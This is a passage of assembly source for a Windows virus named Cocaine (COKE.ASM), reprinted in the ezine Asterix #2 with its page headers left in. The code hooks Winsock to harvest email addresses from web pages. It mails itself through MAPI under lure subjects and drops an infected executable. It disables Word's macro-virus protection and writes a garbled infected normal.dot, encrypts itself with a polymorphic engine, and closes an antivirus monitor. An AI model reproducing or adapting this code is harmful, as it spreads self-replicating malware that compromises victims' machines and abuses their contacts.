New_connect procpush esppushadcall deltamov eax , [ ebp+( ofs _connect - ofs vcode )]mov [ esp +( 7* 4)+ 4], eaxmov esi , [ esp +( 7* 4)+ 16]mov ax , wo [ esi +2] ;port numbercmp ax , 5000h ;80jne @@1mov eax , [ esp +( 7* 4)+ 12] ;get socketmov ebx , [ ebp+( ofs _socket - ofs vcode )]mov [ ebp+( ofs socket - ofs vcode )+( ebx * 4)], eaxinc ebxcmp ebx , MAX_SOCKjne @@2sub ebx , ebx

@@2:mov [ ebp+( ofs _socket - ofs vcode )], ebx

@@1:popadret

New_connect endp

delta proccall @@1

@@1:pop ebpsub ebp , ( ofs @@1- ofs vcode )ret

delta endp

New_recv proc

Page 150: EZine - Asterix #2

COKE.ASM

push esppushadcall deltamov eax , [ ebp+( ofs _recv - ofs vcode )]mov [ esp +( 7* 4)+ 4], eaxmov eax , [ esp +( 7* 4)+ 12]

lea edi , [ ebp+( ofs socket - ofs vcode )]mov ecx , MAX_SOCKrepne scasdjecxz @@1

mov eax , [ esp +( 7* 4)+ 16]mov [ ebp+( ofs recv_buff - ofs vcode )], eaxmov eax , [ esp +( 7* 4)+ 20]mov [ ebp+( ofs recv_size - ofs vcode )], eaxlea eax , [ ebp+( ofs New_recv2 - ofs vcode )]xchg [ esp +( 7* 4)+ 8], eaxmov [ ebp+( ofs recv_ret - ofs vcode )], eax

@@1:popadret

New_recv endp

New_recv2 procpushadcall deltamov eax , [ ebp+( ofs email_w - ofs vcode )]test eax , eaxjnz @@0mov esi , [ ebp+( ofs recv_buff - ofs vcode )]mov ecx , [ ebp+( ofs recv_size - ofs vcode )]sub ecx , 8

@@1:push ecxpush esilodsdor eax , 20202000hcmp eax , 'iam"'jne @@2lodsdor eax , 00202020hcmp eax , ':otl'jne @@2lea edi , [ ebp+( ofs email - ofs vcode )]lea ebx , [ edi +127 ]

@@4:lodsbcmp al , '"'je @@3cmp al , '?'je @@3cmp edi , ebxje @@3stosbjmp @@4

@@3:sub eax , eaxstosbdec eaxmov dwo [ ebp+( ofs email_w - ofs vcode )], eax

@@2:

Page 151: EZine - Asterix #2

COKE.ASM

pop esiinc esipop ecxloop @@1

@@0:popadpush 12345678h

recv_ret equ dwo $- 4ret

New_recv2 endp

MailThread proccldmov ebp , [ esp +4]sub eax , eaxcall @@set_sehmov esp , [ esp +8]call deltapush - 1call [ ebp+( ofs _Sleep - ofs vcode )]

@@set_seh:push dwo fs :[ eax ]mov fs :[ eax ], esp

@@main_loop:mov ecx , [ ebp+( ofs email_w - ofs vcode )]test ecx , ecxjz @@no_queued

lea esi , [ ebp+( ofs email - ofs vcode )]

push esisub ecx , ecxcld

@@1strlen :lodsbtest al , aljz @@2strleninc ecxjmp @@1strlen

@@2strlen :mov edi , ecxpop esi

call CRC32mov [ ebp+( ofs email_crc - ofs vcode )], eax

call CheckListtest eax , eaxjnz @@done

IF MAIL_DEBUG EQ TRUEsub ecx , ecxpush 4 ;yes/nolea eax , [ ebp+( ofs title1 - ofs vcode )]push eaxlea eax , [ ebp+( ofs email - ofs vcode )]push eaxpush ecxcall [ ebp+( ofs _MessageBoxA - ofs vcode )]cmp eax , 7 ;no!je @@done

ENDIF

Page 152: EZine - Asterix #2

COKE.ASM

lea eax , [ ebp+( ofs mapi - ofs vcode )]push eaxcall [ ebp+( ofs _LoadLibraryA - ofs vcode )]test eax , eaxjz @@done

mov [ ebp+( ofs _mapi - ofs vcode )], eax

lea ecx , [ ebp+( ofs sMAPISendMail - ofs vcode )]push ecxpush eaxcall [ ebp+( ofs _GetProcAddress - ofs vcode )]test eax , eaxjz @@unload_mapi

mov [ ebp+( ofs _MAPISendMail - ofs vcode )], eax

call OpenAncevjc @@file ;file dont exists, binary send

@@doc:call GetTemplateDir

@@1:lodsbtest al , aljnz @@1lea edi , [ esi - 1]lea esi , [ ebp+( ofs ndot - ofs vcode )]

@@3:lodsbstosbtest al , aljnz @@3lea esi , [ ebp+( ofs directory - ofs vcode )]push 80hpush esicall [ ebp+( ofs _SetFileAttributesA - ofs vcode )]test eax , eaxjz @@filemov edx , 'COD.'jmp @@attach

@@file :call CreateDroppermov eax , [ ebp+( ofs mm_on_off - ofs vcode )]push eax ;buffermov eax , [ ebp+( ofs fsizel - ofs vcode )]push eax ;sizelea edi , [ ebp+( ofs directory - ofs vcode )]push edilea esi , [ ebp+( ofs shitfile - ofs vcode )]

@@4:lodsbstosbtest al , aljnz @@4mov dwo [ ebp+( ofs wd_att - ofs vcode )], 82hcall WriteDump ;hidden dumppush 00004000h +00008000hpush 0push dwo [ ebp+( ofs mm_on_off - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )]

Page 153: EZine - Asterix #2

COKE.ASM

mov edx , 'EXE.'

@@attach:

DATA_SIZE = size MapiMessage + (( size MapiRecipDesc )* 2) + size MapiFileDesc

mapimsg = 0origin = mapimsg + size MapiMessagedestin = origin + size MapiRecipDescfile = destin + size MapiRecipDesc

sub eax , eaxmov ecx , DATA_SIZEsub esp , ecxmov edi , espmov esi , edirep stosb ;clear buffers we'll use

lea eax , [ esi +origin ]mov [ esi.mapimsg.lpOriginator ], eaxlea eax , [ esi +destin ]mov [ esi.mapimsg.lpRecips ], eaxlea eax , [ esi +file ]mov [ esi.mapimsg.lpFiles ], eax

push 1pop eaxmov [ esi.mapimsg.nFileCount ], eaxmov [ esi.mapimsg.nRecipCount ], eaxmov [ esi.destin.ulRecipClass ], eaxinc eaxmov [ esi.mapimsg.flags ], eaxlea eax , [ ebp+( ofs email - ofs vcode )]mov [ esi.destin.lpszName ], eaxmov [ esi.destin.lpszAddress ], eaxlea eax , [ ebp+( ofs directory - ofs vcode )]mov [ esi.file.lpszPathName ], eax

lea edi , [ ebp+( ofs fname - ofs vcode )]mov [ esi.file.lpszFileName ], edicall MakeVarmov eax , edxstosdsub eax , eaxstosb

mov eax , [ ebp+( ofs subject - ofs vcode )]mov [ esi.mapimsg.lpszSubject ], eax

call @@1aadb '' , 0

@@1aa:pop [ esi.mapimsg.lpszNoteText ]

sub eax , eaxpush eaxpush eaxpush esipush eaxpush eaxcall [ ebp+( ofs _MAPISendMail - ofs vcode )]test eax , eax

Page 154: EZine - Asterix #2

COKE.ASM

jnz @@33

sub eax , eaxmov [ ebp+( ofs mm_on_off - ofs vcode )], eax

call InsertList

@@33:add esp , DATA_SIZE

lea eax , [ ebp+( ofs shitfile - ofs vcode )]push eaxcall DeleteShitFile

@@unload_mapi:mov eax , [ ebp+( ofs _mapi - ofs vcode )]call [ ebp+( ofs _FreeLibrary - ofs vcode )]

@@done:sub eax , eaxmov [ ebp+( ofs email_w - ofs vcode )], eax

@@no_queued:push MAIL_PRIORITY * 1000call [ ebp+( ofs _Sleep - ofs vcode )]jmp @@main_loop

MailThread endp

GetTemplateDir proccall @@2db 'SOFTWARE\Microsoft\Office\8.0\Common\FileNew\Local Templates' , 0

@@2:pop eaxcall ConsultKeyret

GetTemplateDir endp

CreateDropper procpush 00000040hpush 00002000h +00001000h +00100000hpush 48* 1024push 0call [ ebp+( ofs _VirtualAlloc - ofs vcode )]mov [ ebp+( ofs mm_on_off - ofs vcode )], eaxsub edi , edixchg edi , eaxcall @@1

@@0:dbNUL04Dh, 05Ah, 050h , 000h , 000h , 000h , 002h , 000hdbNUL002h , 000h , 004h , 000h , 000h , 000h , 00Fh, 000hdbNUL000h , 000h , 0FFh, 0FFh, 000h , 001h , 000h , 0B8hdbNUL000h , 006h , 000h , 040h , 000h , 000h , 000h , 01AhdbNUL000h , 021h , 000h , 001h , 000h , 001h , 000h , 0BAhdbNUL010h , 000h , 000h , 000h , 00Eh, 01Fh, 0B4h, 009hdbNUL0CDh, 021h , 0B8h, 001h , 04Ch, 0CDh, 021h , 090hdbNUL090h , 054h , 068h , 069h , 073h , 020h , 070h , 072hdbNUL06Fh, 067h , 072h , 061h , 06Dh, 020h , 06Dh, 075hdbNUL073h , 074h , 020h , 062h , 065h , 020h , 072h , 075hdbNUL06Eh, 020h , 075h , 06Eh, 064h , 065h , 072h , 020hdbNUL057h , 069h , 06Eh, 033h , 032h , 00Dh, 00Ah, 024hdbNUL037h , 000h , 087h , 000h , 050h , 045h , 000h , 001hdbNUL000h , 04Ch, 001h , 004h , 000h , 000h , 000h , 074hdbNUL025h , 0F5h, 00Eh, 000h , 007h , 000h , 0E0h, 000hdbNUL000h , 000h , 08Eh, 081h , 00Bh, 001h , 002h , 019h

Page 155: EZine - Asterix #2

COKE.ASM

dbNUL000h , 000h , 000h , 002h , 000h , 002h , 000h , 006hdbNUL000h , 006h , 000h , 010h , 000h , 002h , 000h , 010hdbNUL000h , 002h , 000h , 020h , 000h , 003h , 000h , 040hdbNUL000h , 001h , 000h , 010h , 000h , 002h , 000h , 002hdbNUL000h , 001h , 000h , 001h , 000h , 006h , 000h , 003hdbNUL000h , 000h , 000h , 00Ah, 000h , 005h , 000h , 050hdbNUL000h , 002h , 000h , 004h , 000h , 005h , 000h , 002hdbNUL000h , 004h , 000h , 010h , 000h , 001h , 000h , 020hdbNUL000h , 003h , 000h , 010h , 000h , 001h , 000h , 010hdbNUL000h , 005h , 000h , 010h , 000h , 00Bh, 000h , 030hdbNUL000h , 001h , 000h , 054h , 000h , 01Bh, 000h , 040hdbNUL000h , 001h , 000h , 00Ch, 000h , 052h , 000h , 043hdbNUL04Fh, 044h , 045h , 000h , 004h , 000h , 002h , 000hdbNUL002h , 000h , 010h , 000h , 002h , 000h , 002h , 000hdbNUL002h , 000h , 006h , 000h , 00Dh, 000h , 020h , 000hdbNUL001h , 000h , 060h , 044h , 041h , 054h , 041h , 000hdbNUL004h , 000h , 002h , 000h , 002h , 000h , 020h , 000hdbNUL002h , 000h , 002h , 000h , 002h , 000h , 008h , 000hdbNUL00Dh, 000h , 040h , 000h , 001h , 000h , 0C0h, 02EhdbNUL069h , 064h , 061h , 074h , 061h , 000h , 002h , 000hdbNUL002h , 000h , 002h , 000h , 030h , 000h , 002h , 000hdbNUL002h , 000h , 002h , 000h , 00Ah, 000h , 00Dh, 000hdbNUL040h , 000h , 001h , 000h , 0C0h, 02Eh, 072h , 065hdbNUL06Ch, 06Fh, 063h , 000h , 002h , 000h , 002h , 000hdbNUL002h , 000h , 040h , 000h , 002h , 000h , 002h , 000hdbNUL002h , 000h , 00Ch, 000h , 00Dh, 000h , 040h , 000hdbNUL001h , 000h , 050h , 000h , 067h , 003h , 06Ah, 000hdbNUL000h , 000h , 0E8h, 000h , 003h , 000h , 0FFh, 025hdbNUL030h , 030h , 040h , 000h , 0F3h, 003h , 028h , 030hdbNUL000h , 009h , 000h , 038h , 030h , 000h , 001h , 000hdbNUL030h , 030h , 000h , 015h , 000h , 046h , 030h , 000hdbNUL005h , 000h , 046h , 030h , 000h , 005h , 000h , 04BhdbNUL045h , 052h , 04Eh, 045h , 04Ch, 033h , 032h , 02EhdbNUL064h , 06Ch, 06Ch, 000h , 003h , 000h , 045h , 078hdbNUL069h , 074h , 050h , 072h , 06Fh, 063h , 065h , 073hdbNUL073h , 000h , 0ADh, 001h , 010h , 000h , 001h , 000hdbNUL00Ch, 000h , 002h , 000h , 009h , 030h

@@1:pop esimov ecx , ofs @@1- ofs @@0

@@2:lodsbstosbtest al , aljnz @@3dec ecxdec ecxlodswpush ecxxor ecx , ecxxchg ecx , eaxjecxz @@4rep stosb

@@4:pop ecx

@@3:loop @@2mov [ ebp+( ofs fsizeh - ofs vcode )], ecxmov dwo [ ebp+( ofs fsizel - ofs vcode )], 4096call Infectret

CreateDropper endp

Page 156: EZine - Asterix #2

COKE.ASM

random_f procpush eaxcall random0pop eaxret

random_f endp

macro_start equ this byte

include ndot.inc

MacroSpread procsub ecx , ecxcall @@set_sehmov esp , [ esp +8]call deltajmp @@0

@@set_seh:push dwo fs :[ ecx ]mov fs :[ ecx ], esp

call OpenAncevjc @@1 ;dont exists, macro spreadmov eax , 10call randomor eax , eax ;just in case that we arejnz @@0 ;reinfecting

@@1:call @@2

@@1vdd 0@@2:

push 000F003Fh ;KEY_ALL_ACCESSpush 0call @@3db 'SOFTWARE\Microsoft\Office\8.0\Word\Options' , 0

@@3:push 80000001H ;HKEY_CURRENT_USERcall [ ebp+( ofs _RegOpenKeyEx - ofs vcode )]test eax , eaxjnz @@0push 1 ;sizecall @@4db '0' , 0

@@4:push 1 ;typepush 0call @@5db 'EnableMacroVirusProtection' , 0 ;key entry

@@5:push dwo [ ebp+( ofs @@1v- ofs vcode )]call [ ebp+( ofs _RegSetValueEx - ofs vcode )]push dwo [ ebp+( ofs @@1v- ofs vcode )]call [ ebp+( ofs _RegCloseKey - ofs vcode )] ;close keycall GetTemplateDircldpush esi

@@6:lodsbtest al , aljnz @@6lea edi , [ esi - 1]

Page 157: EZine - Asterix #2

COKE.ASM

lea esi , [ ebp+( ofs ndot - ofs vcode )]@@8:

lodsbstosbtest al , aljnz @@8call DeleteShitFilepush 00000040hpush 00002000h +00001000h +00100000hpush 48* 1024push 0call [ ebp+( ofs _VirtualAlloc - ofs vcode )] ;alloc memory for my normal.dotmov [ ebp+( ofs mm_on_off - ofs vcode )], eaxlea eax , [ ebp+( ofs normaldot - ofs vcode )]push eaxpush normaldot_sizemov eax , [ ebp+( ofs mm_on_off - ofs vcode )]push eaxlea eax , [ ebp+( ofs normaldot_sized - ofs vcode )]push eaxcall lzrw1_decompress ;unpack normaldotmov eax , [ ebp+( ofs mm_on_off - ofs vcode )]push eaxmov eax , [ ebp+( ofs normaldot_sized - ofs vcode )]push eaxlea eax , [ ebp+( ofs directory - ofs vcode )]push eax ;dump not hiddenmov dwo [ ebp+( ofs wd_att - ofs vcode )], 80hcall WriteDump ;create/write new normal.dotpush 00004000h +00008000hpush 0push dwo [ ebp+( ofs mm_on_off - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )] ;free memory from normal.dotcall CreateDropperpush 00000040hpush 00002000h +00001000h +00100000hpush 150* 1024push 0call [ ebp+( ofs _VirtualAlloc - ofs vcode )]mov [ ebp+( ofs dbgscript - ofs vcode )], eaxmov edi , eaxpush eaxmov esi , [ ebp+( ofs mm_on_off - ofs vcode )]mov ecx , dwo [ ebp+( ofs fsizel - ofs vcode )]call script ;make debug scriptpush 00004000h +00008000hpush 0push dwo [ ebp+( ofs mm_on_off - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )] ;free memory from EXE dropperpop eaxsub edi , eaxmov [ ebp+( ofs dbgscript_size - ofs vcode )], edipush 00000040hpush 00002000h +00001000h +00100000hpush 4* 1024push 0call [ ebp+( ofs _VirtualAlloc - ofs vcode )] ;alloc memory for macro textmov [ ebp+( ofs mm_on_off - ofs vcode )], eaxlea eax , [ ebp+( ofs macros - ofs vcode )]push eaxpush macro_sizemov eax , [ ebp+( ofs mm_on_off - ofs vcode )]

Page 158: EZine - Asterix #2

COKE.ASM

push eaxlea eax , [ ebp+( ofs macro_sized - ofs vcode )]push eaxcall lzrw1_decompress ;unpack normaldotmov ecx , [ ebp+( ofs macro_sized - ofs vcode )]mov esi , [ ebp+( ofs mm_on_off - ofs vcode )]lea edi , [ esi +ecx +4] ;edi=buffer for varsmov [ ebp+( ofs variables - ofs vcode )], edimov ebx , edi

@@9:lodsbcmp al , 'A'jb @@10cmp al , 'Z'ja @@10call random_fjc @@10sub al , 'A' - 'a'

@@10:mov [ esi - 1], alloop @@9mov ecx , 10 ;generate variables

@@13:push ecxmov eax , 8 ;lenght of the name of variablecall randominc eaxinc eaxmov ecx , eax

@@12:mov eax , 'Z' - 'A'call randomadd al , 'A'call random_fjc @@11sub al , 'A' - 'a'

@@11:stosbloop @@12sub eax , eaxstosbpop ecxloop @@13 ;next variablepush 00000040hpush 00002000h +00001000h +00100000hpush 4* 1024push 0call [ ebp+( ofs _VirtualAlloc - ofs vcode )] ;alloc memory for macro textpush eaxmov edi , eaxmov esi , [ ebp+( ofs mm_on_off - ofs vcode )]

@@14:lodsbcmp al , '%'jne @@18lodsbsub al , '0'push ebxpush esimovzx ecx , almov esi , ebx

@@15:

Page 159: EZine - Asterix #2

COKE.ASM

lodsbtest al , aljnz @@15loop @@15

@@16:lodsbtest al , aljz @@17stosbjmp @@16

@@17:pop esipop ebxmov al , 12h

org $- 1@@18:

stosblea eax , [ ebx - 4]cmp esi , eaxjb @@14push 00004000h +00008000hpush 0push dwo [ ebp+( ofs mm_on_off - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )] ;free mem macro code (unprocess)mov ecx , edipop esisub ecx , esipush ecxmov [ ebp+( ofs mm_on_off - ofs vcode )], esipush 00000040hpush 00002000h +00001000h +00100000hpush 150* 1024push 0call [ ebp+( ofs _VirtualAlloc - ofs vcode )] ;alloc memory for macro textsub ecx , ecxsub ebx , ebxmov edi , eaxxchg eax , [ esp ]xchg eax , ecxadd ecx , [ ebp+( ofs mm_on_off - ofs vcode )] ;ecx=limit of macro templatemov by [ ebp+( ofs mdeep - ofs vcode )], - 1

@@19:mov esi , [ ebp+( ofs mm_on_off - ofs vcode )]inc ahcmp ah, 2jne @@20mov by [ ebp+( ofs mdeep - ofs vcode )], 0

@@20:cmp ah, 8jne @@21mov by [ ebp+( ofs mdeep - ofs vcode )], - 1

@@21:cmp ah, 6jne @@22mov esi , [ ebp+( ofs dbgscript - ofs vcode )]push ecxmov ecx , [ ebp+( ofs dbgscript_size - ofs vcode )]rep movsbpop ecxcall MacroGarblejmp @@19

@@22:

Page 160: EZine - Asterix #2

COKE.ASM

cmp ah, 9je @@28

@@23:cmp esi , ecxjb @@24 ;all buffer scanned?test ebx , ebxjz @@19 ;nothing we was searching existsmov esi , [ ebp+( ofs mm_on_off - ofs vcode )] ;it exists, but we skipped!sub ebx , ebx

@@24:lodsbcmp al , ahjne @@27 ;find line we're searchinginc ebx ;flag foundpush eaxmov ax , 100call randomcmp eax , 33 ;1/3pop eaxjnb @@27 ;skip this timemov by [ esi - 1], 9 ;flag as done

@@25:lodsbtest al , aljz @@26stosbcmp al , 10jne @@25call MacroGarble ;after CRLF, insert garbagejmp @@25

@@26:jmp @@23

@@27:lodsbtest al , aljnz @@27 ;seek till next linejmp @@23

@@28:push 00004000h +00008000hpush 0push dwo [ ebp+( ofs mm_on_off - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )] ;free memory from macro codemov eax , [ esp ] ;get buffer from stackpush eaxsub edi , eaxpush edilea eax , [ ebp+( ofs cokefile - ofs vcode )]push eaxmov dwo [ ebp+( ofs wd_att - ofs vcode )], 82hcall WriteDump ;create/write new normal.dotpop eax ;bufferpush 00004000h +00008000hpush 0push eaxcall [ ebp+( ofs _VirtualFree - ofs vcode )] ;free memory from complete codepush 00004000h +00008000hpush 0push dwo [ ebp+( ofs dbgscript - ofs vcode )]call [ ebp+( ofs _VirtualFree - ofs vcode )] ;free memory from debug script

@@0:sub ecx , ecxpop dwo fs :[ ecx ]

Page 161: EZine - Asterix #2

COKE.ASM

pop ecxsub eax , eaxmov dwo [ ebp+( ofs mm_on_off - ofs vcode )], eaxadd al , '0'mov by [ ebp+( ofs dmt1 - ofs vcode )], almov by [ ebp+( ofs dmt2 - ofs vcode )+ 7], almov by [ ebp+( ofs outcmd - ofs vcode )+ 7], almov by [ ebp+( ofs ssize - ofs vcode )+ 7], almov by [ ebp+( ofs coda - ofs vcode )+ 7], almov by [ ebp+( ofs dmt3 - ofs vcode )+ 7], almov by [ ebp+( ofs dmt4 - ofs vcode )+ 7], almov by [ ebp+( ofs dmt5 - ofs vcode )+ 7], alret

MacroSpread endp

MacroGarble procpush eaxpush ecxpush esicmp by [ ebp+( ofs mdeep - ofs vcode )], MAX_M_DEEPjae @@0inc by [ ebp+( ofs mdeep - ofs vcode )]mov eax , 4call randomadd eax , 2mov ecx , eax

@@1:push ecx

@@2:mov eax , 16call randomcmp al , 10je @@remarkcmp al , 11je @@forcmp al , 12je @@variablescmp al , 13je @@ifcmp al , 14je @@10jmp @@2

@@if:mov eax , ' fI'stosddec edicall MakeVarmov eax , ' = 'call random_fjc @@3dec ahcall random_fjc @@3inc ahinc ah

@@3:stosddec edicall MakeVarmov eax , 'ehT 'stosdmov eax , 000a0d00h +'n'

Page 162: EZine - Asterix #2

COKE.ASM

stosddec edicall MacroGarblecall @@4db 'End If' , 13, 10

@@4:pop esimovsdmovsdjmp @@10

@@remark:call random_fjc @@5mov al , "'"stosbjmp @@6

@@5:mov eax , ' meR'stosd

@@6:call MakeVarcall MakeVar

@@7:mov ax , 0a0dhstoswjmp @@10

@@variables :call MakeVarcall random_fjc @@stringmov eax , ' = 'stosddec edicall MakeNumber

@@8:jmp @@7

@@string :call MakeVarmov eax , ' = $'stosdmov al , '"'stosbcall MakeVarmov al , '"'stosbjmp @@8

@@for:mov eax , ' roF'stosdpush edicall MakeVarmov eax , ' = 'stosddec edicall MakeNumbermov eax , ' oT 'stosdcall MakeNumbermov ax , 0a0dhstoswcall MacroGarblemov eax , 'txeN'

Page 163: EZine - Asterix #2

COKE.ASM

stosdmov al , ' 'stosbpop esi

@@9:lodsbcmp al , ' 'je @@8stosbjmp @@9

@@10:pop ecxdec ecxjnz @@1dec by [ ebp+( ofs mdeep - ofs vcode )]

@@0:pop esipop ecxpop eaxret

MacroGarble endp

MakeNumber procpush ecxpush eaxmov eax , 2call randominc eaxmov ecx , eax

@@1:mov eax , '9' - '0'call randomadd al , '0'stosbloop @@1pop eaxpop ecxret

MakeNumber endp

include lz.inc

include macro.inc

update_address procpush eax ecxdb 0b8h

addr dd 0 ;get address to eaxmov ecx , 4

@@1:rol ax , 4call mhex ;print hex digitsloop @@1add dwo [ ebp+( ofs addr- ofs vcode )], 10h ;update addresspop ecx eaxret

update_address endp

mhex procpush eax ebxand eax , 01111b ;lower nibblecall $+21

Page 164: EZine - Asterix #2

COKE.ASM

db '0123456789ABCDEF'pop ebxxlat ;turn it in hex digitstosbpop ebx eaxret

mhex endp

copy_line procpush eax

@@0:lodsbor al , aljz @@1 ;zero found, stop copystosbjmp @@0

@@1:pop eaxret

copy_line endp

make_hex procpush eax ecx esidb 0b8h +6

iaddr dd 0 ;esi<->actual buffer positioninc dwo [ ebp+( ofs iaddr - ofs vcode )] ;set nextmov al , 20hstosb ;print spacelodsbrol al , 4call mhex ;print upper nibblerol al , 4call mhex ;print lower nibblepop esi ecx eaxloop make_hexret

make_hex endp

script proccldcall debugmutatormov dwo [ ebp+( ofs addr- ofs vcode )], 0100hmov [ ebp+( ofs iaddr - ofs vcode )], esi ;set varslea esi , [ ebp+( ofs intro - ofs vcode )]call copy_line ;copy intro codemov eax , 16cdqxchg eax , ecxdiv ecx ;ecx=number of 16-bytes linesmov ecx , eax ;edx=remainder for last line

@@0:push ecxlea esi , [ ebp+( ofs outcmd - ofs vcode )]call copy_line ;printcall update_address ;addressmov ecx , 16call make_hex ;code to assemblemov eax , 000A0D00h+'"'stosd ;next linedec edipop ecxloop @@0

Page 165: EZine - Asterix #2

COKE.ASM

mov ecx , edxjecxz @@1 ;no remainder?lea esi , [ ebp+( ofs outcmd - ofs vcode )]call copy_linecall update_address ;make last linecall make_hexmov eax , 000A0D00h+'"'stosddec edisub wo [ ebp+( ofs addr- ofs vcode )], 10h ;undo damage

@@1:lea esi , [ ebp+( ofs ssize - ofs vcode )]call copy_line ;rcxadd wo [ ebp+( ofs addr- ofs vcode )], dxsub wo [ ebp+( ofs addr- ofs vcode )], 100hlea esi , [ ebp+( ofs ssize - ofs vcode )]call copy_line ;optimization!sub edi , 6call update_address ;set sizemov eax , 000A0D00h+'"'stosddec edilea esi , [ ebp+( ofs coda - ofs vcode )] ;copy final shitcall copy_lineret

script endp

dbgscript dd 0

dbgscript_size dd 0

intro db 'Open "C:\COCAINE.SRC" For OutPut As 'dmt1 db '0' , 13, 10dmt2 db 'Print #0, "N C:\W32COKE.EX"' , 13, 10, 0

outcmd db 'Print #0, "E ' , 0

ssize db 'Print #0, "RCX"' , 13, 10, 0

coda db 'Print #0, "W"' , 13, 10dmt3 db 'Print #0, "Q"' , 13, 10dmt4 db 'Print #0, ""' , 13, 10dmt5 db 'Close #0' , 13, 10, 0

debugmutator procpushadmov eax , 9call randominc eaxadd by [ ebp+( ofs dmt1 - ofs vcode )], aladd by [ ebp+( ofs dmt2 - ofs vcode )+ 7], aladd by [ ebp+( ofs outcmd - ofs vcode )+ 7], aladd by [ ebp+( ofs ssize - ofs vcode )+ 7], aladd by [ ebp+( ofs coda - ofs vcode )+ 7], aladd by [ ebp+( ofs dmt3 - ofs vcode )+ 7], aladd by [ ebp+( ofs dmt4 - ofs vcode )+ 7], aladd by [ ebp+( ofs dmt5 - ofs vcode )+ 7], alpopadret

debugmutator endp

macro_end equ this byte

Page 166: EZine - Asterix #2

COKE.ASM

MakeVar procpush ecxpush eaxmov eax , 5call randomadd eax , 4mov ecx , eax

@@1:mov al , 'Z' - 'A'call randomadd al , 'A'call random_fjc @@2sub al , 'A' - 'a'

@@2:stosbpush ecxpush edicall @@3db 'AaEeIiOoUu'

@@3:pop edimov ecx , 10repne scasbjecxz @@4dec dwo [ esp - 1]

@@4:pop edipop ecxloop @@1stosbpop eaxpop ecxret

MakeVar endp

PatchIT procpush esilea edi , [ esi +ecx ] ;destinationmov ecx , 4push eaxmov esi , esp ;fake buffer in stackcall WriteMempop esi ;remove shitpop esiret

PatchIT endp

_base dd 400000h

NUM_TOPICSEQU 8

topics equ this bytedd ofs t0 - ofs vcodedd ofs t0 - ofs vcodedd ofs t0 - ofs vcodedd ofs t1 - ofs vcodedd ofs t2 - ofs vcodedd ofs t3 - ofs vcodedd ofs t4 - ofs vcodedd ofs t5 - ofs vcode

Page 167: EZine - Asterix #2

COKE.ASM

t0 db '' , 0t1 db 'Kewl page!' , 0t2 db 'Improvement to your page' , 0t3 db 'Your page r0x0r!' , 0t4 db 'You must see this...' , 0t5 db 'Secret stuff!' , 0

;ESI=Code to encript (Big enought; Swappable);EDI=Place to put code (Big enought; Swappable);ECX=Size of code to encript;EAX=Delta entrypoint;EDX=VA where code will run in host;;EDI=Final buffer;ECX=Size;EAX=New delta entrypointmutate proc

cldpush eaxcall crypt_poly ;decript enginemov [ ebp+( ofs rva - ofs vcode )], edxcall random0mov [ ebp+( ofs cp_key - ofs vcode )], al ;next memory keymov eax , [ ebp+( ofs seed - ofs vcode )]mov [ ebp+( ofs pseed - ofs vcode )], eaxmov eax , 3call randompush 2pop ebxadd ebx , eaxor bl , 1pop eax

@@1:push ebxcall polyxchg esi , edi ;permute bufferzpop ebxdec ebxjnz @@1 ;next loopxchg esi , edicall crypt_poly ;encript poly engine after useret

mutate endp

crypt_poly procpushadmov al , by [ ebp+( ofs cp_key - ofs vcode )]mov ecx , ofs egtable - ofs polylea esi , [ ebp+( ofs poly - ofs vcode )]

@@1:xor by [ esi ], alinc esiloop @@1popadret

crypt_poly endp

rbuf db MAX_BRANCH*( 128+4+4) dup ( 0)

vinit proc

Page 168: EZine - Asterix #2

COKE.ASM

mov esp , [ esp +8]call deltalea eax , [ ebp+( ofs seh - ofs vcode )]mov [ esp - 4], eaxcall init ;get api entriesjc @@3sub eax , eaxmov ecx , MAX_SOCK+1lea edi , [ ebp+( ofs _socket - ofs vcode )]rep stosdmov [ ebp+( ofs email_w - ofs vcode )], eaxmov [ ebp+( ofs mm_on_off - ofs vcode )], eaxmov [ ebp+( ofs mdeep - ofs vcode )], allea eax , [ ebp+( ofs kernel - ofs vcode )]push eaxcall [ ebp+( ofs _GetModuleHandle - ofs vcode )]mov [ ebp+( ofs K32 - ofs vcode )], eax ;save kernel32 baselea esi , [ ebp+( ofs k32_names - ofs vcode )]lea edi , [ ebp+( ofs k32_address - ofs vcode )]

@@1:lodsdor eax , eaxjz @@2add eax , ebpcall gpa_kernel32 ;get all api we want from k32jc @@3stosdjmp @@1db 0b9h

@@2:lea eax , [ ebp+( ofs user - ofs vcode )]push eaxcall [ ebp+( ofs _LoadLibraryA - ofs vcode )]mov [ ebp+( ofs U32 - ofs vcode )], eax ;save user base

@@4:lodsdor eax , eaxjz @@5mov ebx , [ ebp+( ofs U32 - ofs vcode )]add eax , ebpcall gpa_custom ;get all api we want againjc @@3stosdjmp @@4db 0eah

@@5:

call @@adfdb 'ADVAPI32' , 0

@@adf:call [ ebp+( ofs _LoadLibraryA - ofs vcode )]call @@a11db 'RegSetValueExA' , 0

@@a11:push eaxcall @@aaadb 'RegCreateKeyExA' , 0

@@aaa:push eaxcall @@baadb 'RegOpenKeyExA' , 0

@@baa:

Page 169: EZine - Asterix #2

COKE.ASM

push eaxcall @@caadb 'RegQueryValueExA' , 0

@@caa:push eaxcall @@ddb 'RegCloseKey' , 0

@@d:push eax ;retrieve all needed APIscall [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ ebp+( ofs _RegCloseKey - ofs vcode )], eaxcall [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ ebp+( ofs _RegQueryValueEx - ofs vcode )], eaxcall [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ ebp+( ofs _RegOpenKeyEx - ofs vcode )], eaxcall [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ ebp+( ofs _RegCreateKeyEx - ofs vcode )], eaxcall [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ ebp+( ofs _RegSetValueEx - ofs vcode )], eax

lea eax , [ ebp+( ofs wavp - ofs vcode )]sub ecx , ecxpush eaxpush ecxcall [ ebp+( ofs _FindWindowA - ofs vcode )]or eax , eaxjz @@bpush ecx ;terminate AVPM using vg schemepush ecxpush 16push eaxcall [ ebp+( ofs _PostMessageA - ofs vcode )]

@@b:

lea eax , [ ebp+( ofs shitfile - ofs vcode )]push eaxcall DeleteShitFile

call @@a1db 'KERNEL.AVC' , 0

